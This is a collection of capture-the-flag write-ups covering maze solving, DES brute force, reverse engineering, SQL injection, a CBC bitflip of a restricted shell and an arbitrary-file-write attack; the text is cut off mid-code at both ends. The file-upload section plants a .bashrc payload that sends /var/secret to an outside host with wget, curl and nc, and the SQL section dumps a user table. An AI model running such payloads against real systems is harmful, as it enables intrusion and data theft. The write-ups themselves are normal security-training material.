0): d = flag[(x,y)] ans.append(cmd[d]) x -= dx[d] y -= dy[d] ans.reverse() return ''.join(ans)``` After sending the directions you would get a confirmation and get another image.```WooHoo you got it correct. Now solve a few more and get your flag.``` __And that would still be the message even if it will send the flag and not an image.__ ### Full Code ```pythonfrom Queue import Queuefrom pwn import *from scipy import misc dx = [0, 1, 0, -1]dy = [1, 0, -1, 0]cmd = ['S', 'D', 'W', 'A'] def fetch_image(r): image_delimiter = 'INVALID\n' image = '' try: # image = r.recvuntil(image_delimiter) while image_delimiter not in image: image += r.recv() except: print(image) return while image[1] != 'P': image = image[1:] with open('100.png', 'wb') as f: f.write(image) def solve(): maze = misc.imread('100.png') width, height, _ = maze.shape cell_width = 10 width /= cell_width height /= cell_width bitmap = [[1 if (maze[x*cell_width][y*cell_width][0] == 0) else 0 for x in range(width)] for y in range(height)] flag = {} prev_move = {} prev_move[(0,0)] = -1 q = Queue() q.put((0, 0)) while(not q.empty()): x, y = q.get() for d in range(4): _x = x + dx[d] _y = y + dy[d] if min(_x, _y) < 0 or _x >= width or _y >= height: continue if _x == width-1 and _y == height-1: flag[(_x, _y)] = d if bitmap[_x][_y]: continue if (_x, _y) in flag: continue flag[(_x, _y)] = d q.put((_x, _y)) ans = [] x = width-1 y = height-1 if (x,y) not in flag: return 'INVALID' else: while(max(x, y) > 0): d = flag[(x,y)] ans.append(cmd[d]) x -= dx[d] y -= dy[d] ans.reverse() return ''.join(ans) r = remote('139.59.30.165', 9300)r.recvuntil('Enter)\n')r.send('\n') while True: fetch_image(r) r.send('{}\n'.format(solve())) res = r.recvline() r.close()``` ### Output```Congratulations the flag is d4rk{1_h0p3_y0u_tr1ed_paint_lm40}c0de```
# Web 01 (web, 100p, 46 solved) ```manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it? Note: Player shouldn't Dos web01, you can get source code and run in local``` In the task we get access to a python-based file upload service.We can download uploaded files, including the [server file itself](SimpleHTTPServerWithUpload.py). If we diff this file with the original, we can notice there is only a single change -> the special case when file we want to upload already exists.It seems with the script running on the server we could overwrite files because no such check exists! Let's look at how the files are uploaded: ```pythonfn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)if not fn: return (False, "Can't find out file name...")path = self.translate_path(self.path)fn = os.path.join(path, fn[0])if "index" in fn.lower(): return (False, "Can't create file to write, do you have permission to write?")line = self.rfile.readline()remainbytes -= len(line)line = self.rfile.readline()remainbytes -= len(line)try: out = open(fn, 'wb')except IOError: return (False, "Can't create file to write, do you have permission to write?")``` Interesting part is that the filename taken for the output file is taken from the POST request almost directly.This means if we send for example path `/etc/passwd` if would actually try to overwrite this file. This would not be very useful, however we know that `manhndd (...) ssh into server to check /var/secret`.We can, therefore, overwrite contents of `.bashrc` or `.profile`, and they would get executed once admin logs in to the machine. We know the username, so we can guess the path is `/home/manhndd`.We can easily verify this, since the uploader returns an error if we can't write the file. The final payload is: ```pythonfrom time import sleep import requests def main(): while True: url = 'http://web01.grandprix.whitehatvn.com/' files = {'file': ('/home/manhndd/.profile', open('payload.txt', 'rb'))} r = requests.post(url, files=files, headers={"referer": "dupa.pl"}) print(r.text) files = {'file': ('/home/manhndd/.bashrc', open('payload.txt', 'rb'))} r = requests.post(url, files=files, headers={"referer": "dupa.pl"}) print(r.text) sleep(1)main()``` With payload set to `curl`/`wget`/`nc` sending the flag to us: ```wget --post-file=/var/secret http://our.host;curl -F "file=@/var/secret" http://our.host;cat /var/secret | nc our.host port;``` Keep in mind, the file gets overwritten, so other teams can overwrite our payload.From what we noticed, there were teams who purpously were doing that, to prevent others from getting the flag. It took a while for us to get lucky with race condition, but finally we got `g1ftfr0mNQ`
# Diversity**Category**: cryto**Points**: 30 # Write-up```pythonencoded_flag ="b1001000 x69 d33 d32 o127 b1100101 o154 o143 b1101111 o155 o145 d32 o164 d111 d32 x48 b1100001 x63 o153 b1000011 o157 x6e d39 o61 b111000 x2c d32 d111 b1110010 d103 d97 x6e o151 x73 d101 d100 o40 d97 b1110011 b100000 x70 o141 o162 x74 d32 x6f x66 b100000 o105 b1110011 x79 b1100001 d39 d49 b111000 x20 b1100010 d121 b100000 x49 o111 b1001001 x54 b100000 b1000100 x65 x6c o150 x69 b101110 x20 o111 d110 b100000 o143 d97 d115 o145 o40 b1111001 b1101111 x75 b100111 x72 x65 x20 x73 x65 b1100101 b1101011 x69 o156 x67 d32 b1100001 o40 o162 x65 o167 b1100001 o162 o144 d32 x66 d111 x72 b100000 o171 x6f d117 b1110010 o40 d101 x66 x66 x6f x72 d116 o163 x2c b100000 d104 b1100101 d114 o145 x27 d115 x20 b1100001 d32 d102 d108 b1100001 x67 x20 x3a b100000 o144 x34 o162 x6b x7b o151 d95 d87 o151 x73 b100011 d95 x41 o61 x6c d95 b1110100 d52 d115 b1101011 d53 o137 o167 x33 d114 o63 o137 d116 b1101000 o151 o65 x5f x33 d52 o65 o171 o137 x58 b1000100 b1000100 b1111101 x63 d48 d100 d101 d46 b100000 o101 x6e b1111001 d119 b1100001 b1111001 x73 b101100 x20 o150 d111 b1110000 b1100101 o40 x79 o157 d117 b100000 b1101000 o141 x76 x65 b100000 d97 x20 o147 d111 b1101111 d100 b100000 b1110100 b1101001 d109 b1100101 d32 x3b x29"flag=""for n in encoded_flag.split(): if n[0] == "b": flag += chr(int(n[1:],2)) if n[0] == "x": flag += chr(int(n[1:],16)) if n[0] == "d": flag += chr(int(n[1:])) if n[0] == "o": flag += chr(int(n[1:],8)) print flag```
Brute forcing from CTFing time. (Mine is 1534487873) ```import calendarimport time PI = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7] CP_1 = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4] CP_2 = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]E = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1] S_BOX = [ [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7], [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8], [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0], [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],],[[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10], [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5], [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15], [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],],[[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8], [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1], [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7], [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],],[[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15], [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9], [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4], [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],],[[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9], [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6], [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14], [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],],[[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11], [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8], [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6], [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],],[[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1], [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6], [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2], [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],], [[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7], [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2], [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8], [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],]] P = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25] PI_1 = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25] SHIFT = [1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1]def string_to_bit_array(text): array = list() for char in text: binval = binvalue(char, 8) array.extend([int(x) for x in list(binval)]) return arraydef bit_array_to_string(array): res = ''.join([chr(int(y,2)) for y in [''.join([str(x) for x in bytes]) for bytes in nsplit(array,8)]]) return resdef binvalue(val, bitsize): binval = bin(val)[2:] if isinstance(val, int) else bin(ord(val))[2:] if len(binval) > bitsize: raise "binary value larger than the expected size" while len(binval) < bitsize: binval = "0"+binval return binvaldef nsplit(s, n): return [s[k:k+n] for k in xrange(0, len(s), n)]ENCRYPT=1DECRYPT=0class des(): def __init__(self): self.password = None self.text = None self.keys = list() def run(self, key, text, action=ENCRYPT, padding=False): if len(key) < 8: raise "Key Should be 8 bytes long" elif len(key) > 8: key = key[:8] self.password = key self.text = text if padding and action==ENCRYPT: self.addPadding() elif len(self.text) % 8 != 0: raise "Data size should be multiple of 8" self.generatekeys() text_blocks = nsplit(self.text, 8) result = list() for block in text_blocks: block = string_to_bit_array(block) block = self.permut(block,PI) g, d = nsplit(block, 32) tmp = None for i in range(16): d_e = self.expand(d, E) if action == ENCRYPT: tmp = self.xor(self.keys[i], d_e) else: tmp = self.xor(self.keys[15-i], d_e) tmp = self.substitute(tmp) tmp = self.permut(tmp, P) tmp = self.xor(g, tmp) g = d d = tmp result += self.permut(d+g, PI_1) final_res = bit_array_to_string(result) if padding and action==DECRYPT: return self.removePadding(final_res) else: return final_res def substitute(self, d_e): subblocks = nsplit(d_e, 6) result = list() for i in range(len(subblocks)): block = subblocks[i] row = int(str(block[0])+str(block[5]),2) column = int(''.join([str(x) for x in block[1:][:-1]]),2) val = S_BOX[i][row][column] bin = binvalue(val, 4) result += [int(x) for x in bin] return result def permut(self, block, table): return [block[x-1] for x in table] def expand(self, block, table): return [block[x-1] for x in table] def xor(self, t1, t2): return [x^y for x,y in zip(t1,t2)] def generatekeys(self): self.keys = [] key = string_to_bit_array(self.password) key = self.permut(key, CP_1) g, d = nsplit(key, 28) for i in range(16): g, d = self.shift(g, d, SHIFT[i]) tmp = g + d self.keys.append(self.permut(tmp, CP_2)) def shift(self, g, d, n): return g[n:] + g[:n], d[n:] + d[:n] def addPadding(self): pad_len = 8 - (len(self.text) % 8) self.text += pad_len * chr(pad_len) def removePadding(self, data): pad_len = ord(data[-1]) return data[:-pad_len] def encrypt(self, key, text, padding=False): return self.run(key, text, ENCRYPT, padding) def decrypt(self, key, text, padding=False): return self.run(key, text, DECRYPT, padding) if __name__ == '__main__': ''' IV = str(calendar.timegm(time.gmtime()))[-8:] message= "###### redacted ######" d = des() r = d.encrypt(IV,d.encrypt(IV,d.encrypt(IV,message))) print ("Ciphered: %r" % r) ''' i = int(time.time()) % 100000000 # 1534487873 d = des() ct = '|\xb3Wm\x83\rE7h\xe3\xc0\xf1^Y\xf0\x8d\xa6I\x92\x9b\xa5\xbc\xdc\xca\x9d\xcd\xe9a0\xa3\x00\xf2\x13\x16]|\xae\xd8\x84\x88' while i > 0: IV = str(i).zfill(8) pt = d.decrypt(IV, d.decrypt(IV, d.decrypt(IV, ct))) if pt.find('d4rk') >= 0: print 'found!', [IV, pt] exit() i -= 1 if i % 100 == 0: print i # found! ['34455973', 'd4rk{0h_lol_t1m3_i5_n0t_A_g00d_s33d}c0de']```
# RE-05 ctfq.exe (120 Points) This challenge first connects to the server at port:8888 and then send various commands to it. When we open the binary in IDA we found that at sub_4014A0 it connects to server having ip : 66.42.55.226 and sub_401090 it sends the test command in this format : "id|command|companyname|other" Initial Idea:* At 1 it sends the command to the server* At 2 it generates the license using some algorithm* At 3 prints "id/command help have been sended to you email"* At 4 Exits When we enter some random id other than 111 we get an error msg : "wrong id\n id looklike 000-999" So we need to brute force to get the valid id :```ids = [''.join(x) for x in itertools.product(string.digits, repeat=3)]s.connect(('66.42.55.226',8888))for i in ids: s.send('i|test|test|test\n') if "wrong id" not in s.recv(100): print i print s.recv(50)print "Done"s.close()```Finally we get valid ids are 111,720. After giving the valid id it gives another error message : "wrong view command"So we gave the command as view. After that it gives another error message : "wrong company"In problem description we have some company name so after try them we get a valid company : "fis" After entering all the details we finally get aur license : "vqmuwzjxfmqmdnfhr" So we have a valid license now we have to reverse the license generator alogrithm to get the secret key. ```key = 'vqmuwzjxfmqmdnfhr'co = 'fisfisfisfisfisfi'alpha = string.lowercasesecret = ""for (k,c) in zip(key,co) : diff = ord(k) - ord(c) if diff < 0: secret += alpha[ord(k) - ord(c)] else: secret += alpha[ord(k) - ord(c) - 1]print secret``` And finally, ## Our Secret Key : "phuongdonghuyenbi"
# revfcuk ;) (Pwn, 53 solved, 120 points)###### Author: [qrzcn](https://github.com/qrzcn) ```Please make this file less annoying.Also, find out what password works with it```There also was a binary given. When you run the binary, it tries to run a system with the string ```x-www-browser https://www.youtube.com/watch?v=LdH7aFjDzjI``` Thats something we can use to search for in the binary in [Cutter](https://github.com/radareorg/cutter): ![](string.png) After adding a function at offset 0x00401818 we can see the assembly we need. Seeing the funtion we can patch the instructions to always execute the block starting at 0x0040197c. ![](initAssembly_1.png) Additionaly I patched the length check: ![](initAssembly_2.png) Now we can step through the Programm with gdb and break at 0x401ae4 and get the comparing strings (with installed gdb-peda): ```bash% gdb ./exec_revfcukgdb-peda$ b *0x401ae4Breakpoint 1 at 0x401ae4gdb-peda$ set follow-fork-mode parent``` and can see the hash that gets compared: ![](gdb.png) Now we can use the second hash (9f9bd93c746d42c056754dd9607a7ff9) in format md5(md5()) and brute it in hashcat: ```$ hashcat -a 3 -m 2600 hashes ?a?a?a?a --show``` and we get a list of broken hashes and now only need to assemble them into the flag: d4rk{pr0_at_r3v3rse_4nd_als0_gGWp_Y0u!_4r3_qul7e_gud_@t_thls_pls___teach_me}c0de
# RE-03 DebugMe.exe (380 Points) This binary simple asks for the key and we have to reverse its key validating algorithm. When we first load the binary in the debugger it runs its just terminate due to some anti-debug checks. But I am not bother about this right now. I simply runs the executable and then attach the debugger the the process. #### [Note] : I also attach my .idb file having some renames and comments while analyzing this binary. I recommend to use this while reading this writeup. When we load the executable in IDA we saw that at sub_4029C0 the validation process goes on. Let's dive into this. At 00402A73 it calls surely_part_checker (sub_402BB0). Then at 00402BB0 it checks that key length should be greater than or equals 10. If we provide 10 length key then,* At 00402CBD it calls add_3_first_9_r (sub_404010) - means add 3 to 0-9 elements and set last as r* But when at 00402CE0 when it calls simple_copy_11_19_r (sub_404100) - means simple copy 11-19 and set last as r, it throws an error box. So we need to provide the key of length 20 now.When we provide 20 length key then,* At 00402DC0 it calls add_3_first_9_r* At 00402DE3 it calls simple_copy_11_19_r* But when at 00402E06 when it calls add_5_21_29_f (sub_404200) - means add 5 to 21-29 and set last as f, it throws an error box. So now we need to provide the key of length 30 now.When we provide 30 length key then,* At 00402EFF it compares the key length with 40 and throws an error box. So now we need to provide the key of length 40 and then checks the last element must be 'x'.When we provide 40 length key then,* At 00402F3F it calls add_3_first_9_r* At 00402F62 it calls simple_copy_11_19_r* At 00402F85 it calls add_5_21_29_f* At 00402FA8 it calls add_3_b_32_39_r - means set b first and the from 32-39 add 3 and set last as r* At 00402FCB it calls add_3_0_19_r (sub_404420)(I think you get it now.... ༽(•⌣•)༼ )* At 00402FEE it calls add_3_21_39_r (sub_404510)* At 00403011 it calls add_2_11_29_r (sub_404620) At 00403032 it calls add_2_and_3_0_9_r_on_add_3_first_9_r (sub_403420) which adds 2 and 3 alternatively on output from add_3_first_9_r and then compares it with "poskjyrvyr". If this checks succeeds then,* At 004030B8 it calls add_9_and_5_11_19_r_on_simple_copy (starting with 9 and add it on every 4th index and remaining with 5)* At 004030F0 it calls sub_404970 which compares results with "j676kn|5nr". If this check succeeds then,* At 00403112 it calls add_3_and_1_21_29_f_on_add_5 (sub_403790) (starting with 3 and add it on every 3rd index and remaining with 1)* At 0040314A it calls sub_404970 which compares results with "uku|nokxqf" If this check succeeds then,* At 0040316C it calls sub_403940 (starting with 2 and add it on every 2nd index and remaining with 1)* At 004031EC it calls sub_404970 which compares results with "dzihggh{er" And in the same sense it checks on other section. This is the whole main idea behind this key verifier. For the whole solution check out the python script.
# Full WriteUp Full Writeup on our website: [http://www.aperikube.fr/docs/tjctf_2018/stupid_blog](http://www.aperikube.fr/docs/tjctf_2018/stupid_blog) ----- # TL;DR Stupid Blog was a stored XSS challenge, where you manage to bypass the CSP using a JPEG file.
## 40 - Ess Kyoo Ell - Web > *Written by okulkarni*>> Find the IP address of the admin user! (flag is tjctf{[ip]})>> https://ess-kyoo-ell.tjctf.org/ First I tried to send normal data in the form and I got the following error: *This is what I got about you from the database: no such column: password*. It seems weird and it sounds like a SQLi. Trying to inject the POST parameters value doesn't work so I tried to inject the key instead, as suggested by the the error message. So I replaced `password` with `'` (a simple quote). ![](http://i.imgur.com/9VHuzkF.png) The server answered another error message: *'NoneType' object is not iterable*.This seems like a python error message, so the web server backend should be using python. Then I tried a UNION-based injection: `'%20UNION%20SELECT%201--%20-` (`' UNION SELECT 1-- -`) ![](http://i.imgur.com/l4yxw2S.png) I got *SELECTs to the left and right of UNION do not have the same number of result columns*. 1. Now we are pretty sure we have a SQL injection.2. We can continue to add `1,` to discover the number of columns, because I'm curious Finaly I went up to 7 columns to stop getting an error: `'%20UNION%20SELECT%201,1,1,1,1,1,1--%20-` (`' UNION SELECT 1,1,1,1,1,1,1-- -`) Now we have this cute JSON output leaking all the columns: ![](http://i.imgur.com/8DcZFZD.png) `{'id': 1, 'username': 1, 'first_name': 1, 'last_name': 1, 'email': 1, 'gender': 1, 'ip_address': 1}` Finding the number of columns was not required, this works too: `'%20UNION%20SELECT%20*%20from users--%20-` (`' UNION SELECT * from users-- -`) **Note**: finding the table `users` was just some easy guessing. ![](http://i.imgur.com/mTV657O.png) Hey! We leaked an user account! We can iterate with `'%20UNION%20SELECT%20*%20from users limit 1 offset 1--%20-` (`' UNION SELECT * from users limit 1 offset 1-- -`) Now we have to choices: First we can continue to iterate to dump the whole database until we find the username `admin`, like I did with this python script: ```pythonimport requestsfrom bs4 import BeautifulSoupimport jsonimport reimport ast burp0_url = "https://ess-kyoo-ell.tjctf.org:443/"burp0_cookies = {"__cfduid": "d964d07a476f4e291ef50328373ec7b931533661597"}burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://ess-kyoo-ell.tjctf.org/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"} for x in range(0, 1000): burp0_data={"' UNION SELECT *from users limit 1 offset %i-- -" % x : "a"} res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) html = BeautifulSoup(res.text, 'html.parser') for p in html.select('p'): if p['id'] == 'profile-name': regex = r"This is what I got about you from the database: ({.*})" if re.search(regex, p.text): match = re.search(regex, p.text) json_data = match.group(1) # json with single quote delimiter to dict json_data = ast.literal_eval(json_data) # dict to json string with double quote json_data = json.dumps(json_data) # json string with double quote to json object data = json.loads(json_data) if re.search(r".*admin.*",data['username']): #print(data['username']+' : '+ data['ip_address']) print(json_data)``` Or instead of dumping the whole database that is much more work and cost much more time, we could have just used `'%20UNION%20SELECT%20*%20from%20users%20where%20username%3d"admin"--%20-` (`' UNION SELECT * from users where username="admin"-- -`) to find the admin user directly. In both cases we get only one result: `{"id": 706, "username": "admin", "first_name": "Administrative", "last_name": "User", "email": "[email\u00a0protected]", "gender": "Female", "ip_address": "145.3.1.213"}` So the flag is: `tjctf{145.3.1.213}`.
# USSH (crypto, 31 solved, 138p) ```We've developed a new restricted shell. It also allows to manage user access more securely. Let's try it nc crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one 1337``` In the task we get access to a blackbox restricted shell.We can use command `help` to get list of available commands and there are: ```abcd@crypto: $ helpAvaliable commands: ls, cat, id, session, help, exit``` We can list the directory and there is a `flag.txt` there, but we can't use `cat` on it because we are not root. First interesting function is `id`, which returns: ```abcd@crypto: $ iduid=3(regular) gid=3(regular) groups=3(regular)``` The really interesting function is `session`.We can get or set a session with this command.Getting the session gives us: ```abcd@crypto: $ session --getavRMXhMPfzzwhK5WDJhE7w==:EP2QRrs0I0y9H3Zzen2V1t7cMPGxjIQGVZ/Y+STDo6M=``` Both parts decode to some random bytes.If we change username the blocks change - first one is always 16 bytes long, but the other one expands by 16 bytes.This indicates some block crypto with 16 bytes blocks.We can use `session --set` to play around with those parameters, and if we give fewer bytes for the first part, we get a nice error that `IV has to be 16 bytes long`.This answer the question what those parts are - first part is IV and the second part is some encrypted payload. Flipping bytes of the IV by 1 bit cause the session to be `invalid` for the first few bytes, but once we flip 10th byte our prompt change! ```python url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' s = nc(url, 1337) s.recv(9999) login = 'a' * 7 send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) iv = xor_string(iv, "".join(map(chr, [0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0]))) new_session = base64.b64encode(iv) + ":" + base64.b64encode(ct) send(s, 'session --set ' + new_session) result = receive_until_match(s, '\$ ') print(result)``` Which gives: ```caaaaaa@crypto: $ ``` And since `chr(ord('a')^2)) == 'c'`, we can confirm that in the payload we provide the 10th byte is where our `login` is stored. For some reason flipping any bit of the first 9 bytes causes the `session is invalid` error, so we guess that the data have to be stored in some structure, most likely JSON, so prefix is something like `{'user':'`. We can run: ```python url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' for i in range(1, 16): s = nc(url, 1337) s.recv(9999) login = 'a' * i send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) print(i, len(ct)) s.close()``` And we see that once our login name is 9 bytes long a 3rd ciphertext block appears, so at this point the whole payload takes 2 blocks (the new block is only PKCS padding).So we've got 9 bytes of prefix, 9 bytes of login name, and suffix, and it all takes 32 bytes -> suffix is 14 bytes long.We're lucky!This means we can bitflip the whole suffix if we want to, because it never exceeds a single block. Our guess is that the group name is stored in this suffix, so we need to find the position and then bitflip it to `root`. We can't bitflip the first ciphertext block, because it has some fixed prefix, which would break.We need to create a whole another block to work with.For this we can send a long login, which will fill the first block (7 characters) and then fill whole another block as well (16 characters).This way we can bitflip the second block, because it will only "break" the second part of our login name, and we don't care about it at all. Again we can run a simple loop, just like we did flipping IV, but this time flipping second block of ciphertext, and we can observer the results of `id` function.We know that the whole suffix has to fit in the third block of ciphertext, since we just pushed it there. ```python url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' s = nc(url, 1337) s.recv(9999) login = 'a' * (7 + 16) send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) real_ct = ct for i in range(48): xor_block = [0] * 48 xor_block[i] = 2 ct = xor_string("".join(map(chr, xor_block)), real_ct) new_session = base64.b64encode(iv) + ":" + base64.b64encode(ct) send(s, 'session --set ' + new_session) result = receive_until_match(s, '\$ ') if 'Invalid' not in result and "PKCS7" not in result: print(i, xor_block) send(s, 'id') print(receive_until_match(s, '\$ '))``` From this we can see: ```(23, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(pegular) gid=3(pegular) groups=3(pegular)(24, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(rggular) gid=3(rggular) groups=3(rggular)(25, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(reeular) gid=3(reeular) groups=3(reeular)(26, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(regwlar) gid=3(regwlar) groups=3(regwlar)(27, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(regunar) gid=3(regunar) groups=3(regunar)(28, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(regulcr) gid=3(regulcr) groups=3(regulcr)(29, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(regulap) gid=3(regulap) groups=3(regulap)(30, [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])uid=3(regular) gid=3(regular) groups=3(regular)``` So it's clear that flipping byte `23` changes the first letter of group name.The only thing left is calculate the necessary xor block to change `regular` into `root`: ```pythonimport base64 from crypto_commons.generic import xor_stringfrom crypto_commons.netcat.netcat_commons import nc, send, receive_until_match, receive_until def main(): url = 'crypto-01.v7frkwrfyhsjtbpfcppnu.ctfz.one' s = nc(url, 1337) s.recv(9999) login = 'a' * (7 + 16) send(s, login) receive_until_match(s, '\$ ') send(s, 'session --get') session = receive_until(s, "\n")[:-1] print(session) receive_until_match(s, '\$ ') iv, ct = map(base64.b64decode, session.split(":")) real_ct = ct data = 'regular)' sp_xor_block = map(ord, xor_string(data, 'root) ')) for i in range(256): # brute force the last byte to close the string xor_block = [0] * 23 + sp_xor_block + [i] + [0] * 16 ct = 